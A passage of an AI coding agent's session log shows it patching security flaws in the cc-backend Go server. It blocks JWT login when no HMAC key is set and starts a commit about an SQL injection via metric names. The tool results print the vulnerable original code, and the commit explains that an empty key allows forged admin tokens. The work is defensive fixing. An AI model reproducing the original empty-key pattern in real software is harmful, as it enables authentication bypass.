dec.Time(lineprotocol.Nanosecond, t); err != nil {\n343\t\t\t\t\t\t\treturn fmt.Errorf(\"host %s: timestamp : %#v with error : %#v\", host, t, err.Error())\n344\t\t\t\t\t\t}\n345\t\t\t\t\t}\n346\t\t\t\t}\n347\t\t\t}\n348\t\n349\t\t\tif err != nil {\n350\t\t\t\treturn fmt.Errorf(\"host %s: timestamp : %#v with error : %#v\", host, t, err.Error())\n351\t\t\t}\n352\t\n353\t\t\ttime := t.Unix()\n354\t\n355\t\t\tif Keys.Checkpoints.FileFormat == \"wal\" {\n356\t\t\t\tmsg := &WALMessage{\n357\t\t\t\t\tMetricName: string(st.metricBuf),\n358\t\t\t\t\tCluster:    cluster,\n359\t\t\t\t\tNode:       host,\n360\t\t\t\t\tSelector:   append([]string{}, st.selector...),\n361\t\t\t\t\tValue:      metric.Value,\n362\t\t\t\t\tTimestamp:  time,\n363\t\t\t\t}\n364\t\t\t\tif !SendWALMessage(msg) {\n365\t\t\t\t\t// WAL shard channel full — metric is written to memory store but not WAL.\n366\t\t\t\t\t// Next binary snapshot will capture it.\n367\t\t\t\t\tif dropped := walDropped.Add(1); dropped%10000 == 1 {\n368\t\t\t\t\t\tcclog.Warnf(\"[METRICSTORE]> WAL shard channel full, dropped %d messages (data safe in memory, next snapshot will capture)\", dropped)\n369\t\t\t\t\t}\n370\t\t\t\t}\n371\t\t\t}\n372\t\n373\t\t\tif err := ms.WriteToLevel(lvl, st.selector, time, []Metric{metric}); err != nil {\n374\t\t\t\tcclog.Warnf(\"write error for host %s metric %s at ts %d: %s\", host, string(st.metricBuf), time, err.Error())\n375\t\t\t\tcontinue\n376\t\t\t}\n377\t\t}\n378\t\treturn nil\n379\t}\n380\t"}]},"uuid":"c485caa1-2e93-4250-b9b9-47a1904f5c03","timestamp":"2026-06-04T16:56:44.370Z","toolUseResult":{"type":"text","file":{"filePath":"/Users/jan/prg/ClusterCockpit/cc-backend/pkg/metricstore/lineprotocol.go","content":"\t\t\t}\n\n\t\t\tif string(key) != \"value\" {\n\t\t\t\treturn fmt.Errorf(\"host %s: unknown field: '%s' (value: %#v)\", host, string(key), val)\n\t\t\t}\n\n\t\t\tif val.Kind() == lineprotocol.Float {\n\t\t\t\tmetric.Value = schema.Float(val.FloatV())\n\t\t\t} else if val.Kind() == lineprotocol.Int {\n\t\t\t\tmetric.Value = schema.Float(val.IntV())\n\t\t\t} else if val.Kind() == lineprotocol.Uint {\n\t\t\t\tmetric.Value = schema.Float(val.UintV())\n\t\t\t} else {\n\t\t\t\treturn fmt.Errorf(\"host %s: unsupported value type in message: %s\", host, val.Kind().String())\n\t\t\t}\n\t\t}\n\n\t\tif t, err = dec.Time(lineprotocol.Second, t); err != nil {\n\t\t\tt = time.Now()\n\t\t\tif t, err = dec.Time(lineprotocol.Millisecond, t); err != nil {\n\t\t\t\tt = time.Now()\n\t\t\t\tif t, err = dec.Time(lineprotocol.Microsecond, t); err != nil {\n\t\t\t\t\tt = time.Now()\n\t\t\t\t\tif t, err = dec.Time(lineprotocol.Nanosecond, t); err != nil {\n\t\t\t\t\t\treturn fmt.Errorf(\"host %s: timestamp : %#v with error : %#v\", host, t, err.Error())\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"host %s: timestamp : %#v with error : %#v\", host, t, err.Error())\n\t\t}\n\n\t\ttime := t.Unix()\n\n\t\tif Keys.Checkpoints.FileFormat == \"wal\" {\n\t\t\tmsg := &WALMessage{\n\t\t\t\tMetricName: string(st.metricBuf),\n\t\t\t\tCluster:    cluster,\n\t\t\t\tNode:       host,\n\t\t\t\tSelector:   append([]string{}, st.selector...),\n\t\t\t\tValue:      metric.Value,\n\t\t\t\tTimestamp:  time,\n\t\t\t}\n\t\t\tif !SendWALMessage(msg) {\n\t\t\t\t// WAL shard channel full — metric is written to memory store but not WAL.\n\t\t\t\t// Next binary snapshot will capture it.\n\t\t\t\tif dropped := walDropped.Add(1); dropped%10000 == 1 {\n\t\t\t\t\tcclog.Warnf(\"[METRICSTORE]> WAL shard channel full, dropped %d messages (data safe in memory, next snapshot will capture)\", dropped)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif err := ms.WriteToLevel(lvl, st.selector, time, []Metric{metric}); err != nil {\n\t\t\tcclog.Warnf(\"write error for host %s metric %s at ts %d: %s\", host, string(st.metricBuf), time, err.Error())\n\t\t\tcontinue\n\t\t}\n\t}\n\treturn nil\n}\n","numLines":62,"startLine":319,"totalLines":380}},"sourceToolAssistantUUID":"017ec257-af74-4ff6-a754-a7abe31f9482","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
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{"parentUuid":"7a769d6a-04b9-43ee-82fe-0b7e7294e2ec","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_013Xf7mYuB12o9j6K7AzwTRv","type":"message","role":"assistant","content":[{"type":"tool_use","id":"toolu_012KqYWNEG58SiGMpVKU289T","name":"Edit","input":{"replace_all":false,"file_path":"/Users/jan/prg/ClusterCockpit/cc-backend/internal/auth/jwtSession.go","old_string":"func (ja *JWTSessionAuthenticator) Init() error {\n\tif pubKey := os.Getenv(\"CROSS_LOGIN_JWT_HS512_KEY\"); pubKey != \"\" {\n\t\tbytes, err := base64.StdEncoding.DecodeString(pubKey)\n\t\tif err != nil {\n\t\t\tcclog.Warn(\"Could not decode cross login JWT HS512 key\")\n\t\t\treturn err\n\t\t}\n\t\tja.loginTokenKey = bytes\n\t}\n\n\tcclog.Info(\"JWT Session authenticator successfully registered\")\n\treturn nil\n}","new_string":"func (ja *JWTSessionAuthenticator) Init() error {\n\tpubKey := os.Getenv(\"CROSS_LOGIN_JWT_HS512_KEY\")\n\tif pubKey == \"\" {\n\t\t// Without a configured key the HMAC verification below would run against\n\t\t// an empty key, which lets anyone forge a valid token. Refuse to register\n\t\t// the authenticator in that case so JWT session login is simply disabled.\n\t\treturn errors.New(\"CROSS_LOGIN_JWT_HS512_KEY not set: JWT session login disabled\")\n\t}\n\n\tbytes, err := base64.StdEncoding.DecodeString(pubKey)\n\tif err != nil {\n\t\tcclog.Warn(\"Could not decode cross login JWT HS512 key\")\n\t\treturn err\n\t}\n\tja.loginTokenKey = bytes\n\n\tcclog.Info(\"JWT Session authenticator successfully registered\")\n\treturn nil\n}"},"caller":{"type":"direct"}}],"stop_reason":"tool_use","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":2,"cache_creation_input_tokens":1245,"cache_read_input_tokens":79224,"output_tokens":1422,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":1245,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":1422,"cache_read_input_tokens":79224,"cache_creation_input_tokens":1245,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":1245},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011CbiaB5gYk9fbPRmTaeASB","type":"assistant","uuid":"5095ccc1-d78f-4a2e-8f3a-d103026bfc32","timestamp":"2026-06-04T16:57:14.845Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"5095ccc1-d78f-4a2e-8f3a-d103026bfc32","isSidechain":false,"promptId":"bbd39334-b36d-433b-b3c4-bd747b5a6dd0","type":"user","message":{"role":"user","content":[{"tool_use_id":"toolu_012KqYWNEG58SiGMpVKU289T","type":"tool_result","content":"The file /Users/jan/prg/ClusterCockpit/cc-backend/internal/auth/jwtSession.go has been updated successfully. (file state is current in your context — no need to Read it back)"}]},"uuid":"e2dba9c8-a203-4c43-b49e-f50eab3872f0","timestamp":"2026-06-04T16:57:14.907Z","toolUseResult":{"filePath":"/Users/jan/prg/ClusterCockpit/cc-backend/internal/auth/jwtSession.go","oldString":"func (ja *JWTSessionAuthenticator) Init() error {\n\tif pubKey := os.Getenv(\"CROSS_LOGIN_JWT_HS512_KEY\"); pubKey != \"\" {\n\t\tbytes, err := base64.StdEncoding.DecodeString(pubKey)\n\t\tif err != nil {\n\t\t\tcclog.Warn(\"Could not decode cross login JWT HS512 key\")\n\t\t\treturn err\n\t\t}\n\t\tja.loginTokenKey = bytes\n\t}\n\n\tcclog.Info(\"JWT Session authenticator successfully registered\")\n\treturn nil\n}","newString":"func (ja *JWTSessionAuthenticator) Init() error {\n\tpubKey := os.Getenv(\"CROSS_LOGIN_JWT_HS512_KEY\")\n\tif pubKey == \"\" {\n\t\t// Without a configured key the HMAC verification below would run against\n\t\t// an empty key, which lets anyone forge a valid token. Refuse to register\n\t\t// the authenticator in that case so JWT session login is simply disabled.\n\t\treturn errors.New(\"CROSS_LOGIN_JWT_HS512_KEY not set: JWT session login disabled\")\n\t}\n\n\tbytes, err := base64.StdEncoding.DecodeString(pubKey)\n\tif err != nil {\n\t\tcclog.Warn(\"Could not decode cross login JWT HS512 key\")\n\t\treturn err\n\t}\n\tja.loginTokenKey = bytes\n\n\tcclog.Info(\"JWT Session authenticator successfully registered\")\n\treturn nil\n}","originalFile":"// Copyright (C) NHR@FAU, University Erlangen-Nuremberg.\n// All rights reserved. This file is part of cc-backend.\n// Use of this source code is governed by a MIT-style\n// license that can be found in the LICENSE file.\n\npackage auth\n\nimport (\n\t\"encoding/base64\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"os\"\n\t\"strings\"\n\n\tcclog \"github.com/ClusterCockpit/cc-lib/v2/ccLogger\"\n\t\"github.com/ClusterCockpit/cc-lib/v2/schema\"\n\t\"github.com/golang-jwt/jwt/v5\"\n)\n\ntype JWTSessionAuthenticator struct {\n\tloginTokenKey []byte // HS256 key\n}\n\nvar _ Authenticator = (*JWTSessionAuthenticator)(nil)\n\nfunc (ja *JWTSessionAuthenticator) Init() error {\n\tif pubKey := os.Getenv(\"CROSS_LOGIN_JWT_HS512_KEY\"); pubKey != \"\" {\n\t\tbytes, err := base64.StdEncoding.DecodeString(pubKey)\n\t\tif err != nil {\n\t\t\tcclog.Warn(\"Could not decode cross login JWT HS512 key\")\n\t\t\treturn err\n\t\t}\n\t\tja.loginTokenKey = bytes\n\t}\n\n\tcclog.Info(\"JWT Session authenticator successfully registered\")\n\treturn nil\n}\n\nfunc (ja *JWTSessionAuthenticator) CanLogin(\n\tuser *schema.User,\n\tusername string,\n\trw http.ResponseWriter,\n\tr *http.Request,\n) (*schema.User, bool) {\n\treturn user, r.Header.Get(\"Authorization\") != \"\" ||\n\t\tr.URL.Query().Get(\"login-token\") != \"\"\n}\n\nfunc (ja *JWTSessionAuthenticator) Login(\n\tuser *schema.User,\n\trw http.ResponseWriter,\n\tr *http.Request,\n) (*schema.User, error) {\n\trawtoken := strings.TrimPrefix(r.Header.Get(\"Authorization\"), \"Bearer \")\n\tif rawtoken == \"\" {\n\t\trawtoken = r.URL.Query().Get(\"login-token\")\n\t}\n\n\ttoken, err := jwt.Parse(rawtoken, func(t *jwt.Token) (any, error) {\n\t\tif t.Method == jwt.SigningMethodHS256 || t.Method == jwt.SigningMethodHS512 {\n\t\t\treturn ja.loginTokenKey, nil\n\t\t}\n\t\treturn nil, fmt.Errorf(\"unkown signing method for login token: %s (known: HS256, HS512, EdDSA)\", t.Method.Alg())\n\t})\n\tif err != nil {\n\t\tcclog.Warn(\"Error while parsing jwt token\")\n\t\treturn nil, err\n\t}\n\n\tif !token.Valid {\n\t\tcclog.Warn(\"jwt token claims are not valid\")\n\t\treturn nil, errors.New(\"jwt token claims are not valid\")\n\t}\n\n\tclaims := token.Claims.(jwt.MapClaims)\n\n\t// Use shared helper to get user from JWT claims\n\tuser, err = getUserFromJWT(claims, Keys.JwtConfig.ValidateUser, schema.AuthSession, schema.AuthViaToken)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Sync or update user if configured\n\tif !Keys.JwtConfig.ValidateUser && (Keys.JwtConfig.SyncUserOnLogin || Keys.JwtConfig.UpdateUserOnLogin) {\n\t\thandleTokenUser(user)\n\t}\n\n\treturn user, nil\n}\n","structuredPatch":[{"oldStart":25,"oldLines":15,"newStart":25,"newLines":21,"lines":[" var _ Authenticator = (*JWTSessionAuthenticator)(nil)"," "," func (ja *JWTSessionAuthenticator) Init() error {","-  if pubKey := os.Getenv(\"CROSS_LOGIN_JWT_HS512_KEY\"); pubKey != \"\" {","-    bytes, err := base64.StdEncoding.DecodeString(pubKey)","-    if err != nil {","-      cclog.Warn(\"Could not decode cross login JWT HS512 key\")","-      return err","-    }","-    ja.loginTokenKey = bytes","+  pubKey := os.Getenv(\"CROSS_LOGIN_JWT_HS512_KEY\")","+  if pubKey == \"\" {","+    // Without a configured key the HMAC verification below would run against","+    // an empty key, which lets anyone forge a valid token. Refuse to register","+    // the authenticator in that case so JWT session login is simply disabled.","+    return errors.New(\"CROSS_LOGIN_JWT_HS512_KEY not set: JWT session login disabled\")","   }"," ","+  bytes, err := base64.StdEncoding.DecodeString(pubKey)","+  if err != nil {","+    cclog.Warn(\"Could not decode cross login JWT HS512 key\")","+    return err","+  }","+  ja.loginTokenKey = bytes","+","   cclog.Info(\"JWT Session authenticator successfully registered\")","   return nil"," }"]}],"userModified":false,"replaceAll":false},"sourceToolAssistantUUID":"5095ccc1-d78f-4a2e-8f3a-d103026bfc32","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"e2dba9c8-a203-4c43-b49e-f50eab3872f0","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_0135eUZ83DKPqPXSdKeyCTcs","type":"message","role":"assistant","content":[{"type":"tool_use","id":"toolu_019srH3imoC3jPnmjyKCXCkH","name":"Edit","input":{"replace_all":false,"file_path":"/Users/jan/prg/ClusterCockpit/cc-backend/internal/auth/jwtSession.go","old_string":"\ttoken, err := jwt.Parse(rawtoken, func(t *jwt.Token) (any, error) {\n\t\tif t.Method == jwt.SigningMethodHS256 || t.Method == jwt.SigningMethodHS512 {\n\t\t\treturn ja.loginTokenKey, nil\n\t\t}\n\t\treturn nil, fmt.Errorf(\"unkown signing method for login token: %s (known: HS256, HS512, EdDSA)\", t.Method.Alg())\n\t})","new_string":"\ttoken, err := jwt.Parse(rawtoken, func(t *jwt.Token) (any, error) {\n\t\tif t.Method == jwt.SigningMethodHS256 || t.Method == jwt.SigningMethodHS512 {\n\t\t\t// Defense in depth: an empty key would verify any HMAC signature.\n\t\t\t// Init() already refuses to register without a key, so this should\n\t\t\t// never trigger, but guard explicitly rather than trust the chain.\n\t\t\tif len(ja.loginTokenKey) == 0 {\n\t\t\t\treturn nil, errors.New(\"HS login key not configured\")\n\t\t\t}\n\t\t\treturn ja.loginTokenKey, nil\n\t\t}\n\t\treturn nil, fmt.Errorf(\"unkown signing method for login token: %s (known: HS256, HS512, EdDSA)\", t.Method.Alg())\n\t})"},"caller":{"type":"direct"}}],"stop_reason":"tool_use","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":2,"cache_creation_input_tokens":1516,"cache_read_input_tokens":80469,"output_tokens":551,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":1516,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":551,"cache_read_input_tokens":80469,"cache_creation_input_tokens":1516,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":1516},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011CbiaCKSK3Nvm4wDMqZjPM","type":"assistant","uuid":"50f414e6-01ed-4e2b-9701-6e6f7a7838b8","timestamp":"2026-06-04T16:57:21.260Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"50f414e6-01ed-4e2b-9701-6e6f7a7838b8","isSidechain":false,"promptId":"bbd39334-b36d-433b-b3c4-bd747b5a6dd0","type":"user","message":{"role":"user","content":[{"tool_use_id":"toolu_019srH3imoC3jPnmjyKCXCkH","type":"tool_result","content":"The file /Users/jan/prg/ClusterCockpit/cc-backend/internal/auth/jwtSession.go has been updated successfully. (file state is current in your context — no need to Read it back)"}]},"uuid":"9f401a0f-53e3-4234-a513-39f3a3d4f4a2","timestamp":"2026-06-04T16:57:21.315Z","toolUseResult":{"filePath":"/Users/jan/prg/ClusterCockpit/cc-backend/internal/auth/jwtSession.go","oldString":"\ttoken, err := jwt.Parse(rawtoken, func(t *jwt.Token) (any, error) {\n\t\tif t.Method == jwt.SigningMethodHS256 || t.Method == jwt.SigningMethodHS512 {\n\t\t\treturn ja.loginTokenKey, nil\n\t\t}\n\t\treturn nil, fmt.Errorf(\"unkown signing method for login token: %s (known: HS256, HS512, EdDSA)\", t.Method.Alg())\n\t})","newString":"\ttoken, err := jwt.Parse(rawtoken, func(t *jwt.Token) (any, error) {\n\t\tif t.Method == jwt.SigningMethodHS256 || t.Method == jwt.SigningMethodHS512 {\n\t\t\t// Defense in depth: an empty key would verify any HMAC signature.\n\t\t\t// Init() already refuses to register without a key, so this should\n\t\t\t// never trigger, but guard explicitly rather than trust the chain.\n\t\t\tif len(ja.loginTokenKey) == 0 {\n\t\t\t\treturn nil, errors.New(\"HS login key not configured\")\n\t\t\t}\n\t\t\treturn ja.loginTokenKey, nil\n\t\t}\n\t\treturn nil, fmt.Errorf(\"unkown signing method for login token: %s (known: HS256, HS512, EdDSA)\", t.Method.Alg())\n\t})","originalFile":"// Copyright (C) NHR@FAU, University Erlangen-Nuremberg.\n// All rights reserved. This file is part of cc-backend.\n// Use of this source code is governed by a MIT-style\n// license that can be found in the LICENSE file.\n\npackage auth\n\nimport (\n\t\"encoding/base64\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"os\"\n\t\"strings\"\n\n\tcclog \"github.com/ClusterCockpit/cc-lib/v2/ccLogger\"\n\t\"github.com/ClusterCockpit/cc-lib/v2/schema\"\n\t\"github.com/golang-jwt/jwt/v5\"\n)\n\ntype JWTSessionAuthenticator struct {\n\tloginTokenKey []byte // HS256 key\n}\n\nvar _ Authenticator = (*JWTSessionAuthenticator)(nil)\n\nfunc (ja *JWTSessionAuthenticator) Init() error {\n\tpubKey := os.Getenv(\"CROSS_LOGIN_JWT_HS512_KEY\")\n\tif pubKey == \"\" {\n\t\t// Without a configured key the HMAC verification below would run against\n\t\t// an empty key, which lets anyone forge a valid token. Refuse to register\n\t\t// the authenticator in that case so JWT session login is simply disabled.\n\t\treturn errors.New(\"CROSS_LOGIN_JWT_HS512_KEY not set: JWT session login disabled\")\n\t}\n\n\tbytes, err := base64.StdEncoding.DecodeString(pubKey)\n\tif err != nil {\n\t\tcclog.Warn(\"Could not decode cross login JWT HS512 key\")\n\t\treturn err\n\t}\n\tja.loginTokenKey = bytes\n\n\tcclog.Info(\"JWT Session authenticator successfully registered\")\n\treturn nil\n}\n\nfunc (ja *JWTSessionAuthenticator) CanLogin(\n\tuser *schema.User,\n\tusername string,\n\trw http.ResponseWriter,\n\tr *http.Request,\n) (*schema.User, bool) {\n\treturn user, r.Header.Get(\"Authorization\") != \"\" ||\n\t\tr.URL.Query().Get(\"login-token\") != \"\"\n}\n\nfunc (ja *JWTSessionAuthenticator) Login(\n\tuser *schema.User,\n\trw http.ResponseWriter,\n\tr *http.Request,\n) (*schema.User, error) {\n\trawtoken := strings.TrimPrefix(r.Header.Get(\"Authorization\"), \"Bearer \")\n\tif rawtoken == \"\" {\n\t\trawtoken = r.URL.Query().Get(\"login-token\")\n\t}\n\n\ttoken, err := jwt.Parse(rawtoken, func(t *jwt.Token) (any, error) {\n\t\tif t.Method == jwt.SigningMethodHS256 || t.Method == jwt.SigningMethodHS512 {\n\t\t\treturn ja.loginTokenKey, nil\n\t\t}\n\t\treturn nil, fmt.Errorf(\"unkown signing method for login token: %s (known: HS256, HS512, EdDSA)\", t.Method.Alg())\n\t})\n\tif err != nil {\n\t\tcclog.Warn(\"Error while parsing jwt token\")\n\t\treturn nil, err\n\t}\n\n\tif !token.Valid {\n\t\tcclog.Warn(\"jwt token claims are not valid\")\n\t\treturn nil, errors.New(\"jwt token claims are not valid\")\n\t}\n\n\tclaims := token.Claims.(jwt.MapClaims)\n\n\t// Use shared helper to get user from JWT claims\n\tuser, err = getUserFromJWT(claims, Keys.JwtConfig.ValidateUser, schema.AuthSession, schema.AuthViaToken)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Sync or update user if configured\n\tif !Keys.JwtConfig.ValidateUser && (Keys.JwtConfig.SyncUserOnLogin || Keys.JwtConfig.UpdateUserOnLogin) {\n\t\thandleTokenUser(user)\n\t}\n\n\treturn user, nil\n}\n","structuredPatch":[{"oldStart":66,"oldLines":6,"newStart":66,"newLines":12,"lines":[" ","   token, err := jwt.Parse(rawtoken, func(t *jwt.Token) (any, error) {","     if t.Method == jwt.SigningMethodHS256 || t.Method == jwt.SigningMethodHS512 {","+      // Defense in depth: an empty key would verify any HMAC signature.","+      // Init() already refuses to register without a key, so this should","+      // never trigger, but guard explicitly rather than trust the chain.","+      if len(ja.loginTokenKey) == 0 {","+        return nil, errors.New(\"HS login key not configured\")","+      }","       return ja.loginTokenKey, nil","     }","     return nil, fmt.Errorf(\"unkown signing method for login token: %s (known: HS256, HS512, EdDSA)\", t.Method.Alg())"]}],"userModified":false,"replaceAll":false},"sourceToolAssistantUUID":"50f414e6-01ed-4e2b-9701-6e6f7a7838b8","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
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{"parentUuid":"e37e4b09-65e0-4f9c-8942-1ae8baafc367","isSidechain":false,"promptId":"bbd39334-b36d-433b-b3c4-bd747b5a6dd0","type":"user","message":{"role":"user","content":[{"tool_use_id":"toolu_01J88x8VMcYf4ocEdDFQyN4b","type":"tool_result","content":"1\t// Copyright (C) NHR@FAU, University Erlangen-Nuremberg.\n2\t// All rights reserved. This file is part of cc-backend.\n3\t// Use of this source code is governed by a MIT-style\n4\t// license that can be found in the LICENSE file.\n5\t\n6\t// Package repository provides job query functionality with filtering, pagination,\n7\t// and security controls. This file contains the main query builders and security\n8\t// checks for job retrieval operations.\n9\tpackage repository\n10\t\n11\timport (\n12\t\t\"context\"\n13\t\t\"errors\"\n14\t\t\"fmt\"\n15\t\t\"regexp\"\n16\t\t\"strings\"\n17\t\t\"time\"\n18\t\n19\t\t\"github.com/ClusterCockpit/cc-backend/internal/config\"\n20\t\t\"github.com/ClusterCockpit/cc-backend/internal/graph/model\"\n21\t\tcclog \"github.com/ClusterCockpit/cc-lib/v2/ccLogger\"\n22\t\t\"github.com/ClusterCockpit/cc-lib/v2/schema\"\n23\t\tsq \"github.com/Masterminds/squirrel\"\n24\t)\n25\t\n26\tconst (\n27\t\t// Default initial capacity for job result slices\n28\t\tdefaultJobsCapacity = 50\n29\t)\n30\t"}]},"uuid":"e949c214-d0e1-484c-8fe3-0a947544d0db","timestamp":"2026-06-04T16:57:26.236Z","toolUseResult":{"type":"text","file":{"filePath":"/Users/jan/prg/ClusterCockpit/cc-backend/internal/repository/jobQuery.go","content":"// Copyright (C) NHR@FAU, University Erlangen-Nuremberg.\n// All rights reserved. This file is part of cc-backend.\n// Use of this source code is governed by a MIT-style\n// license that can be found in the LICENSE file.\n\n// Package repository provides job query functionality with filtering, pagination,\n// and security controls. This file contains the main query builders and security\n// checks for job retrieval operations.\npackage repository\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"regexp\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/ClusterCockpit/cc-backend/internal/config\"\n\t\"github.com/ClusterCockpit/cc-backend/internal/graph/model\"\n\tcclog \"github.com/ClusterCockpit/cc-lib/v2/ccLogger\"\n\t\"github.com/ClusterCockpit/cc-lib/v2/schema\"\n\tsq \"github.com/Masterminds/squirrel\"\n)\n\nconst (\n\t// Default initial capacity for job result slices\n\tdefaultJobsCapacity = 50\n)\n","numLines":30,"startLine":1,"totalLines":441}},"sourceToolAssistantUUID":"e37e4b09-65e0-4f9c-8942-1ae8baafc367","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
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{"type":"ai-title","aiTitle":"Repeat security audit after fixes","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9"}
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{"type":"last-prompt","lastPrompt":"Fix the three top items","leafUuid":"1479a0ed-9770-4275-9dde-7837e6756c9d","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9"}
{"type":"ai-title","aiTitle":"Repeat security audit after fixes","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9"}
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{"parentUuid":"e138121b-5e58-4a90-8805-7c4bcb393ec2","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_01SAFN35Yg4QnASaf9hBSHcc","type":"message","role":"assistant","content":[{"type":"text","text":"Those are human-readable tagger descriptions, not metric names. Let me confirm actual metric-config names specifically:"}],"stop_reason":"tool_use","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":2,"cache_creation_input_tokens":894,"cache_read_input_tokens":92543,"output_tokens":522,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":894,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":522,"cache_read_input_tokens":92543,"cache_creation_input_tokens":894,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":894},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011CbiaN9tcNskSa2iuK4MD1","type":"assistant","uuid":"eb997317-177e-4d29-89b9-2afbbd357d6c","timestamp":"2026-06-04T16:59:32.854Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"eb997317-177e-4d29-89b9-2afbbd357d6c","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_01SAFN35Yg4QnASaf9hBSHcc","type":"message","role":"assistant","content":[{"type":"tool_use","id":"toolu_01HtvxNp9TJWGL6b46Bxrxks","name":"Bash","input":{"command":"f=$(grep -rl 'MetricConfig\\|metricConfig\\|\"footprint\"' pkg/archive/testdata/ internal/ configs/ 2>/dev/null | grep -iE 'cluster.*json' | head -1); echo \"file: $f\"; grep -oE '\"(flops_any|mem_bw|cpu_load|[a-z][a-z0-9_]*)\"' \"$f\" 2>/dev/null | sort -u | head; echo \"=== any metric name with non-word char in cluster configs ===\"; grep -rhoE '\"name\"[: ]+\"[^\"]+\"' $(grep -rl 'subClusters\\|metricConfig' pkg/ internal/ configs/ 2>/dev/null | grep -i json) 2>/dev/null | grep -oE '\"[^\"]+\"$'|sort -u|grep -vE '^\"[a-zA-Z0-9_ ]+\"$'|head","description":"Check metric config names charset"},"caller":{"type":"direct"}}],"stop_reason":"tool_use","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":2,"cache_creation_input_tokens":894,"cache_read_input_tokens":92543,"output_tokens":522,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":894,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":522,"cache_read_input_tokens":92543,"cache_creation_input_tokens":894,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":894},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011CbiaN9tcNskSa2iuK4MD1","type":"assistant","uuid":"8579786f-a92d-470c-b052-8bd2d6922010","timestamp":"2026-06-04T16:59:36.518Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
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{"parentUuid":"0ffa463f-549d-43c0-87c6-774504f621c2","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_017ve67Dup2qXBBLZvKmf6Px","type":"message","role":"assistant","content":[{"type":"tool_use","id":"toolu_01XeABsBChymskSr3hdpjVLp","name":"Bash","input":{"command":"git add internal/auth/jwtSession.go internal/repository/jobQuery.go internal/repository/stats.go pkg/metricstore/lineprotocol.go && git commit -m \"$(cat <<'EOF'\nFix critical issues from follow-up security audit\n\nA second-pass audit surfaced three severe issues missed by the previous\nreview, each a sibling code path of a bug class that was only partially\nfixed before:\n\n- auth: JWT session login (jwtSession.go) registered its authenticator\n  even when CROSS_LOGIN_JWT_HS512_KEY was unset, leaving an empty HMAC\n  key. golang-jwt verifies any HS256/HS512 signature against an empty\n  key, allowing unauthenticated admin token forgery. Init() now refuses\n  to register without a key, with a defense-in-depth empty-key guard in\n  the keyfunc.\n\n- repository: metric names from GraphQL ([String!]) were interpolated\n  raw into 